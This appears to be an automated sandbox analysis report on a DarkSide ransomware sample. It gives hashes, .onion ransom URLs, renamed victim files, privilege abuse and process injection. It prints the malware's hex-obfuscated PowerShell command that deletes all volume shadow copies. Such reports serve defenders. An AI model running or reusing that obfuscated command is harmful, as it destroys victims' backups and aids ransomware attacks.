Analysis
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max time kernel
43s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
29-05-2021 10:12
Static task
static1
Behavioral task
behavioral1
Sample
ut.bin.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ut.bin.exe
Resource
win10v20210410
General
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Target
ut.bin.exe
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Size
226KB
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MD5
c81dae5c67fb72a2c2f24b178aea50b7
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SHA1
4bd6437cd1dc77097a7951466531674f80c866c6
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SHA256
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
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SHA512
30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c
Malware Config
Extracted
C:\\README.df06d794.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
ut.bin.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\InvokeSubmit.crw.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\UpdateGrant.tiff.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\ClearRead.raw => C:\Users\Admin\Pictures\ClearRead.raw.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\InvokeSubmit.crw => C:\Users\Admin\Pictures\InvokeSubmit.crw.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\ResolveDisable.raw.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\CloseUnprotect.tiff.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\HideTest.png.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\PublishEdit.raw => C:\Users\Admin\Pictures\PublishEdit.raw.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\WatchPublish.crw => C:\Users\Admin\Pictures\WatchPublish.crw.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\ClearRead.raw.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\CloseUnprotect.tiff ut.bin.exe File renamed C:\Users\Admin\Pictures\CloseUnprotect.tiff => C:\Users\Admin\Pictures\CloseUnprotect.tiff.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\UpdateGrant.tiff ut.bin.exe File renamed C:\Users\Admin\Pictures\UpdateGrant.tiff => C:\Users\Admin\Pictures\UpdateGrant.tiff.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\WatchPublish.crw.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\HideTest.png => C:\Users\Admin\Pictures\HideTest.png.df06d794 ut.bin.exe File opened for modification C:\Users\Admin\Pictures\PublishEdit.raw.df06d794 ut.bin.exe File renamed C:\Users\Admin\Pictures\ResolveDisable.raw => C:\Users\Admin\Pictures\ResolveDisable.raw.df06d794 ut.bin.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
ut.bin.exepid process 4448 ut.bin.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
ut.bin.exepowershell.exepid process 4448 ut.bin.exe 4448 ut.bin.exe 4448 ut.bin.exe 4448 ut.bin.exe 4840 powershell.exe 4840 powershell.exe 4840 powershell.exe 4448 ut.bin.exe 4448 ut.bin.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
ut.bin.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 4448 ut.bin.exe Token: SeSecurityPrivilege 4448 ut.bin.exe Token: SeTakeOwnershipPrivilege 4448 ut.bin.exe Token: SeLoadDriverPrivilege 4448 ut.bin.exe Token: SeSystemProfilePrivilege 4448 ut.bin.exe Token: SeSystemtimePrivilege 4448 ut.bin.exe Token: SeProfSingleProcessPrivilege 4448 ut.bin.exe Token: SeIncBasePriorityPrivilege 4448 ut.bin.exe Token: SeCreatePagefilePrivilege 4448 ut.bin.exe Token: SeBackupPrivilege 4448 ut.bin.exe Token: SeRestorePrivilege 4448 ut.bin.exe Token: SeShutdownPrivilege 4448 ut.bin.exe Token: SeDebugPrivilege 4448 ut.bin.exe Token: SeSystemEnvironmentPrivilege 4448 ut.bin.exe Token: SeRemoteShutdownPrivilege 4448 ut.bin.exe Token: SeUndockPrivilege 4448 ut.bin.exe Token: SeManageVolumePrivilege 4448 ut.bin.exe Token: 33 4448 ut.bin.exe Token: 34 4448 ut.bin.exe Token: 35 4448 ut.bin.exe Token: 36 4448 ut.bin.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeBackupPrivilege 3792 vssvc.exe Token: SeRestorePrivilege 3792 vssvc.exe Token: SeAuditPrivilege 3792 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
ut.bin.exedescription pid process target process PID 4448 wrote to memory of 4840 4448 ut.bin.exe powershell.exe PID 4448 wrote to memory of 4840 4448 ut.bin.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"1⤵
- Modifies extensions of user files
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
fd91aaf846d85b7086448b2da4839186
SHA175a119b177c73f09f009ea1f1d61c5cf1b862a1e
SHA256bd62da84ff9b6f54a42c736d81ed6a27ead625367996d256e0ed5b7583cc24b7
SHA512bda28e836940702a3e5ff65cfca42970c6d203b9bf4f6f99c062ef2cabb841b5a66584633abd3981df149c27bfbf4c48bdf89b6704a2aa7babaf6898917b1a37
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memory/4448-114-0x0000000000490000-0x0000000000491000-memory.dmpFilesize
4KB
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memory/4448-116-0x0000000002070000-0x00000000020AC000-memory.dmpFilesize
240KB
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memory/4448-117-0x00000000004B0000-0x00000000005FA000-memory.dmpFilesize
1.3MB
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memory/4840-115-0x0000000000000000-mapping.dmp
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memory/4840-123-0x0000029CEF910000-0x0000029CEF911000-memory.dmpFilesize
4KB
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memory/4840-128-0x0000029CEFAC0000-0x0000029CEFAC1000-memory.dmpFilesize
4KB
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memory/4840-137-0x0000029CED900000-0x0000029CED902000-memory.dmpFilesize
8KB
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memory/4840-138-0x0000029CED903000-0x0000029CED905000-memory.dmpFilesize
8KB
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memory/4840-139-0x0000029CED906000-0x0000029CED908000-memory.dmpFilesize
8KB